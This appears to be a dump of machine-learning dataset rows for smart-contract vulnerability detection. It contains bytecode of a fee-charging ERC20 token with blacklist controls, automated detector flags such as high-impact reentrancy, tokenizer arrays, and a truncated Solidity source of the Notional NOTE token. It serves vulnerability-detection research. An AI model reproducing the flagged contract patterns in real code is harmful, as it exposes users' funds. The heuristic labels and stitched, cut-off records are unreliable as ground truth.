60095481565b348015610a4357600080fd5b506103dc611640565b348015610a5857600080fd5b5061047960125481565b348015610a6e57600080fd5b506104a7610a7d366004612b91565b61167d565b348015610a8e57600080fd5b5061047960165481565b348015610aa457600080fd5b50610479600a5481565b606060038054610abd90612dc8565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990612dc8565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b6000610b4d3384846117ce565b5060015b92915050565b6005546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190612e03565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610b8190612e03565b670de0b6b3a76400006103e8610c2660025490565b610c31906001612e4e565b610c3b9190612e6d565b610c459190612e6d565b811015610cac5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b81565b610cbe81670de0b6b3a7640000612e4e565b60085550565b6005546001600160a01b03163314610cee5760405162461bcd60e51b8152600401610b8190612e03565b60158690556016859055601784905560188390556019829055601a81905583610d178688612e8f565b610d219190612e8f565b601481905560191015610d765760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610b81565b505050505050565b6000610d8b8484846118f3565b610ddd8433610dd88560405180606001604052806028815260200161314d602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190612348565b6117ce565b5060019392505050565b6005546001600160a01b03163314610e115760405162461bcd60e51b8152600401610b8190612e03565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b4d918590610dd89086611768565b6005546001600160a01b03163314610e9c5760405162461bcd60e51b8152600401610b8190612e03565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610f135760405162461bcd60e51b8152600401610b8190612e03565b50600b805460ff19169055600190565b6005546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610b8190612e03565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fa25760405162461bcd60e51b8152600401610b8190612e03565b60118390556012829055601381905580610fbc8385612e8f565b610fc69190612e8f565b60108190556014101561101b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b81565b505050565b6005546001600160a01b0316331461104a5760405162461bcd60e51b8152600401610b8190612e03565b600b805462ffff00191662010100179055565b6005546001600160a01b031633146110875760405162461bcd60e51b8152600401610b8190612e03565b600b8054911515620100000262ff000019909216919091179055565b606060048054610abd90612dc8565b6005546001600160a01b031633146110dc5760405162461bcd60e51b8152600401610b8190612e03565b7f000000000000000000000000cd42c14e1926c435b92e04aee65f9312300167316001600160a01b0316826001600160a01b031614156111845760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b81565b61118e8282612382565b5050565b6005546001600160a01b031633146111bc5760405162461bcd60e51b8152600401610b8190612e03565b6111e56111d16005546001600160a01b031690565b6005546001600160a01b03166002546117ce565b60005b8381101561125d5761124a3386868481811061120657611206612ea7565b905060200201602081019061121b9190612b91565b6112276012600a612fa1565b86868681811061123957611239612ea7565b905060200201356105309190612e4e565b508061125581612fb0565b9150506111e8565b5050505050565b6005546001600160a01b0316331461128e5760405162461bcd60e51b8152600401610b8190612e03565b600b805491151563010000000263ff00000019909216919091179055565b6000610b4d3384610dd885604051806060016040528060258152602001613175602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190612348565b6000610b4d3384846118f3565b6005546001600160a01b031633146113325760405162461bcd60e51b8152600401610b8190612e03565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113b95760405162461bcd60e51b8152600401610b8190612e03565b6001600160a01b0382166000818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114425760405162461bcd60e51b8152600401610b8190612e03565b670de0b6b3a76400006103e861145760025490565b611462906005612e4e565b61146c9190612e6d565b6114769190612e6d565b8110156114d15760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b81565b6114e381670de0b6b3a7640000612e4e565b600a5550565b6005546000906001600160a01b031633146115165760405162461bcd60e51b8152600401610b8190612e03565b620186a061152360025490565b61152e906001612e4e565b6115389190612e6d565b8210156115a55760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b81565b6103e86115b160025490565b6115bc906005612e4e565b6115c69190612e6d565b8211156116325760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b81565b50600981905560015b919050565b6005546000906001600160a01b0316331461166d5760405162461bcd60e51b8152600401610b8190612e03565b50600f805460ff19169055600190565b6005546001600160a01b031633146116a75760405162461bcd60e51b8152600401610b8190612e03565b6001600160a01b03811661170c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806117758385612e8f565b9050838110156117c75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b9392505050565b6001600160a01b0383166118305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b0382166118915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b81565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119195760405162461bcd60e51b8152600401610b8190612fcb565b6001600160a01b03821661193f5760405162461bcd60e51b8152600401610b8190613010565b6001600160a01b0382166000908152600e602052604090205460ff1615801561198157506001600160a01b0383166000908152600e602052604090205460ff16155b6119e75760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b81565b806119f85761101b838360006123d5565b600b5460ff1615611eb3576005546001600160a01b03848116911614801590611a2f57506005546001600160a01b03838116911614155b8015611a4357506001600160a01b03821615155b8015611a5a57506001600160a01b03821661dead14155b8015611a705750600554600160a01b900460ff16155b15611eb357600b54610100900460ff16611b08576001600160a01b0383166000908152601e602052604090205460ff1680611ac357506001600160a01b0382166000908152601e602052604090205460ff165b611b085760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b81565b600f5460ff1615611c4f576005546001600160a01b03838116911614801590611b6357507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611ba157507f000000000000000000000000cd42c14e1926c435b92e04aee65f9312300167316001600160a01b0316826001600160a01b031614155b15611c4f57326000908152600c60205260409020544311611c3c5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b81565b326000908152600c602052604090204390555b6001600160a01b038316600090815260208052604090205460ff168015611c8f57506001600160a01b0382166000908152601f602052604090205460ff16155b15611d7357600854811115611d045760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b81565b600a546001600160a01b038316600090815260208190526040902054611d2a9083612e8f565b1115611d6e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b611eb3565b6001600160a01b038216600090815260208052604090205460ff168015611db357506001600160a01b0383166000908152601f602052604090205460ff16155b15611e2957600854811115611d6e5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b81565b6001600160a01b0382166000908152601f602052604090205460ff16611eb357600a546001600160a01b038316600090815260208190526040902054611e6f9083612e8f565b1115611eb35760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b7f000000000000000000000000cd42c14e1926c435b92e04aee65f9312300167316001600160a01b0390811690841614801581611ef95750600b546301000000900460ff165b15611f9f576001600160a01b0384166000908152600d602052604090205415801590611f4b57506001600160a01b0384166000908152600d60205260409020544290611f489062015180612e8f565b10155b15611f845760185460168190556019546015819055601a54601781905591611f7291612e8f565b611f7c9190612e8f565b601455612015565b600260168190556003601581905560175491611f7291612e8f565b6001600160a01b0383166000908152600d6020526040902054611fd8576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166120155760036016819055600660158190556017819055906120079082612e8f565b6120119190612e8f565b6014555b30600090815260208190526040902054600954811080159081906120415750600b5462010000900460ff165b80156120575750600554600160a01b900460ff16155b801561207b57506001600160a01b038616600090815260208052604090205460ff16155b80156120a057506001600160a01b0386166000908152601e602052604090205460ff16155b80156120c557506001600160a01b0385166000908152601e602052604090205460ff16155b156120f3576005805460ff60a01b1916600160a01b1790556120e56124de565b6005805460ff60a01b191690555b6005546001600160a01b0387166000908152601e602052604090205460ff600160a01b90920482161591168061214157506001600160a01b0386166000908152601e602052604090205460ff165b1561214a575060005b60008115612333576001600160a01b038716600090815260208052604090205460ff16801561217b57506000601454115b15612239576121a0606461219a6014548961271890919063ffffffff16565b90612797565b9050601454601654826121b39190612e4e565b6121bd9190612e6d565b601c60008282546121ce9190612e8f565b90915550506014546017546121e39083612e4e565b6121ed9190612e6d565b601d60008282546121fe9190612e8f565b90915550506014546015546122139083612e4e565b61221d9190612e6d565b601b600082825461222e9190612e8f565b909155506123159050565b6001600160a01b038816600090815260208052604090205460ff16801561226257506000601054115b1561231557612281606461219a6010548961271890919063ffffffff16565b9050601054601254826122949190612e4e565b61229e9190612e6d565b601c60008282546122af9190612e8f565b90915550506010546013546122c49083612e4e565b6122ce9190612e6d565b601d60008282546122df9190612e8f565b90915550506010546011546122f49083612e4e565b6122fe9190612e6d565b601b600082825461230f9190612e8f565b90915550505b8015612326576123268830836123d5565b6123308187613053565b95505b61233e8888886123d5565b5050505050505050565b6000818484111561236c5760405162461bcd60e51b8152600401610b819190612af8565b5060006123798486613053565b95945050505050565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166123fb5760405162461bcd60e51b8152600401610b8190612fcb565b6001600160a01b0382166124215760405162461bcd60e51b8152600401610b8190613010565b61245e81604051806060016040528060268152602001613127602691396001600160a01b0386166000908152602081905260409020549190612348565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461248d9082611768565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016118e6565b3060009081526020819052604081205490506000601d54601b54601c546125059190612e8f565b61250f9190612e8f565b9050600082158061251e575081155b1561252857505050565b600954612536906014612e4e565b83111561254e5760095461254b906014612e4e565b92505b6000600283601c54866125619190612e4e565b61256b9190612e6d565b6125759190612e6d565b9050600061258385836127d9565b90504761258f8261281b565b600061259b47836127d9565b905060006125b88761219a601b548561271890919063ffffffff16565b905060006125d58861219a601d548661271890919063ffffffff16565b90506000816125e48486613053565b6125ee9190613053565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d806000811461264b576040519150601f19603f3d011682016040523d82523d6000602084013e612650565b606091505b509098505086158015906126645750600081115b156126b75761267387826129e2565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612704576040519150601f19603f3d011682016040523d82523d6000602084013e612709565b606091505b50505050505050505050505050565b60008261272757506000610b51565b60006127338385612e4e565b9050826127408583612e6d565b146117c75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b60006117c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612aca565b60006117c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612348565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061285057612850612ea7565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156128c957600080fd5b505afa1580156128dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612901919061306a565b8160018151811061291457612914612ea7565b60200260200101906001600160a01b031690816001600160a01b03168152505061295f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117ce565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906129b4908590600090869030904290600401613087565b600060405180830381600087803b1580156129ce57600080fd5b505af1158015610d76573d6000803e3d6000fd5b612a0d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117ce565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612a9157600080fd5b505af1158015612aa5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125d91906130f8565b60008183612aeb5760405162461bcd60e51b8152600401610b819190612af8565b5060006123798486612e6d565b600060208083528351808285015260005b81811015612b2557858101830151858201604001528201612b09565b81811115612b37576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612b6257600080fd5b50565b60008060408385031215612b7857600080fd5b8235612b8381612b4d565b946020939093013593505050565b600060208284031215612ba357600080fd5b81356117c781612b4d565b600060208284031215612bc057600080fd5b5035919050565b60008060008060008060c08789031215612be057600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612c1f57600080fd5b8335612c2a81612b4d565b92506020840135612c3a81612b4d565b929592945050506040919091013590565b8035801515811461163b57600080fd5b60008060408385031215612c6e57600080fd5b8235612c7981612b4d565b9150612c8760208401612c4b565b90509250929050565b600080600060608486031215612ca557600080fd5b505081359360208301359350604090920135919050565b600060208284031215612cce57600080fd5b6117c782612c4b565b60008083601f840112612ce957600080fd5b50813567ffffffffffffffff811115612d0157600080fd5b6020830191508360208260051b8501011115612d1c57600080fd5b9250929050565b60008060008060408587031215612d3957600080fd5b843567ffffffffffffffff80821115612d5157600080fd5b612d5d88838901612cd7565b90965094506020870135915080821115612d7657600080fd5b50612d8387828801612cd7565b95989497509550505050565b60008060408385031215612da257600080fd5b8235612dad81612b4d565b91506020830135612dbd81612b4d565b809150509250929050565b600181811c90821680612ddc57607f821691505b60208210811415612dfd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612e6857612e68612e38565b500290565b600082612e8a57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612ea257612ea2612e38565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b80851115612ef8578160001904821115612ede57612ede612e38565b80851615612eeb57918102915b93841c9390800290612ec2565b509250929050565b600082612f0f57506001610b51565b81612f1c57506000610b51565b8160018114612f325760028114612f3c57612f58565b6001915050610b51565b60ff841115612f4d57612f4d612e38565b50506001821b610b51565b5060208310610133831016604e8410600b8410161715612f7b575081810a610b51565b612f858383612ebd565b8060001904821115612f9957612f99612e38565b029392505050565b60006117c760ff841683612f00565b6000600019821415612fc457612fc4612e38565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561306557613065612e38565b500390565b60006020828403121561307c57600080fd5b81516117c781612b4d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130d75784516001600160a01b0316835293830193918301916001016130b2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561310d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e9e613c0741c741c4cde80bb360aebe16d465b740841906cb2e5d70813d9c6ed64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 20952, 16086, 2475, 2546, 20958, 2497, 2575, 2620, 2278, 2581, 2581, 2549, 2546, 2581, 2575, 2475, 2497, 12376, 23499, 2620, 2487, 2546, 2575, 2475, 27717, 28311, 2581, 2497, 2629, 4215, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 10882, 4183, 20470, 4037, 1024, 16770, 1024, 1013, 1013, 7479, 1012, 10882, 4183, 20470, 1012, 4012, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 10882, 4183, 20470, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,883
0x95df7e34403becd532f2be160cacda56f0bd6ba3
// SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.0; pragma abicoder v2; import "interfaces/notional/NotionalProxy.sol"; import "@openzeppelin/contracts/proxy/Initializable.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "../../proxy/utils/UUPSUpgradeable.sol"; /// @title Note ERC20 Token /// Fork of Compound Comp token at commit hash /// https://github.com/compound-finance/compound-protocol/commit/9bcff34a5c9c76d51e51bcb0ca1139588362ef96 contract NoteERC20 is Initializable, UUPSUpgradeable { /// @notice EIP-20 token name for this token string public constant name = "Notional"; /// @notice EIP-20 token symbol for this token string public constant symbol = "NOTE"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 8; /// @notice Total number of tokens in circulation (100 million NOTE) uint256 public constant totalSupply = 100000000e8; /// @notice Notional router address, not currently used but cannot be /// removed or this will mess up storage. NotionalProxy public notionalProxy; // Allowance amounts on behalf of others mapping(address => mapping(address => uint96)) internal allowances; // Official record of token balances for each account mapping(address => uint96) internal balances; /// @notice A record of each accounts delegate mapping(address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice Owner address which can upgrade the tokens implementation address public owner; /// @notice Emitted when the ownership of the contract is transferred event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor() initializer { // Making the constructor also an initializer will lock everyone // from calling initialize on the implementation contract. } /// @notice Initialize note token with initial grants /// @param initialAccounts initial address to grant tokens to /// @param initialGrantAmount amount to grant address initially function initialize( address[] calldata initialAccounts, uint96[] calldata initialGrantAmount, address owner_ ) public initializer { require(initialGrantAmount.length == initialAccounts.length); uint96 totalGrants = 0; for (uint256 i = 0; i < initialGrantAmount.length; i++) { totalGrants = _add96(totalGrants, initialGrantAmount[i], ""); require(balances[initialAccounts[i]] == 0, "Duplicate account"); balances[initialAccounts[i]] = initialGrantAmount[i]; emit Transfer(address(0), initialAccounts[i], initialGrantAmount[i]); } require(totalGrants == totalSupply); owner = owner_; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } /// @dev Transfers ownership of the contract to a new account (`newOwner`). /// Can only be called by the current owner. function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /// @dev Only the owner may upgrade the contract function _authorizeUpgrade(address newImplementation) internal override onlyOwner { } /// @notice Get the number of tokens `spender` is approved to spend on behalf of `account` /// @param account The address of the account holding the funds /// @param spender The address of the account spending the funds /// @return The number of tokens approved function allowance(address account, address spender) external view returns (uint256) { return allowances[account][spender]; } /// @notice Approve `spender` to transfer up to `amount` from `src` /// @dev This will overwrite the approval amount for `spender` /// and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) /// emit:Approval /// @param spender The address of the account which may transfer tokens /// @param rawAmount The number of tokens that are approved (2^256-1 means infinite) /// @return Whether or not the approval succeeded function approve(address spender, uint256 rawAmount) external returns (bool) { uint96 amount; if (rawAmount >= type(uint96).max) { amount = type(uint96).max; } else { amount = _safe96(rawAmount, "Note::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /// @notice Get the number of tokens held by the `account` /// @param account The address of the account to get the balance of /// @return The number of tokens held function balanceOf(address account) external view returns (uint256) { return balances[account]; } /// @notice Transfer `amount` tokens from `msg.sender` to `dst` /// @dev emit:Transfer /// @param dst The address of the destination account /// @param rawAmount The number of tokens to transfer /// @return Whether or not the transfer succeeded function transfer(address dst, uint256 rawAmount) external returns (bool) { uint96 amount = _safe96(rawAmount, "Note::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /// @notice Transfer `amount` tokens from `src` to `dst` /// @dev emit:Transfer emit:Approval /// @param src The address of the source account /// @param dst The address of the destination account /// @param rawAmount The number of tokens to transfer /// @return Whether or not the transfer succeeded function transferFrom( address src, address dst, uint256 rawAmount ) external returns (bool) { // Short circuit transfer execution and return true. It may be the case that external // logic tries to execute a zero transfer but don't emit events here. if (rawAmount == 0) { // Emit a zero transfer event for ERC20 token compatibility emit Transfer(src, dst, 0); return true; } address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = _safe96(rawAmount, "Note::approve: amount exceeds 96 bits"); if (spender != src) { uint96 newAllowance = _sub96( spenderAllowance, amount, "Note::transferFrom: transfer amount exceeds spender allowance" ); allowances[src][spender] = newAllowance; } _transferTokens(src, dst, amount); return true; } /// @notice Delegate votes from `msg.sender` to `delegatee` /// @param delegatee The address to delegate votes to /// @dev emit:DelegatesChanged function delegate(address delegatee) public { _delegate(msg.sender, delegatee); } /// @notice Delegates votes from signatory to `delegatee` /// @dev emit:DelegatesChanged /// @param delegatee The address to delegate votes to /// @param nonce The contract state required to match the signature /// @param expiry The time at which to expire the signature /// @param v The recovery byte of the signature /// @param r Half of the ECDSA signature pair /// @param s Half of the ECDSA signature pair function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { require(block.timestamp <= expiry, "Note::delegateBySig: signature expired"); bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); // ECDSA will check if address is zero inside address signatory = ECDSA.recover(digest, v, r, s); require(nonce == nonces[signatory]++, "Note::delegateBySig: invalid nonce"); _delegate(signatory, delegatee); } /// @notice Gets the current votes balance for `account` /// @param account The address to get votes balance /// @return The number of current votes for `account` function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; uint96 currentVotes = nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; return currentVotes; } /// @notice Determine the prior number of votes for an account as of a block number /// @dev Block number must be a finalized block or else this function will revert to prevent misinformation. /// @param account The address of the account to check /// @param blockNumber The block number to get the vote balance at /// @return The number of votes the account had as of the given block function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Note::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /// @dev Changes delegates from one address to another function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } /// @dev Transfers tokens and inherits the delegate from the destination address function _transferTokens( address src, address dst, uint96 amount ) internal { require(src != address(0), "Note::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Note::_transferTokens: cannot transfer to the zero address"); balances[src] = _sub96( balances[src], amount, "Note::_transferTokens: transfer amount exceeds balance" ); balances[dst] = _add96( balances[dst], amount, "Note::_transferTokens: transfer amount overflows" ); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } /// @dev Transfers delegates and writes a checkpoint for `getPriorVotes` to use function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = _sub96(srcRepOld, amount, "Note::_moveVotes: vote amount underflow"); 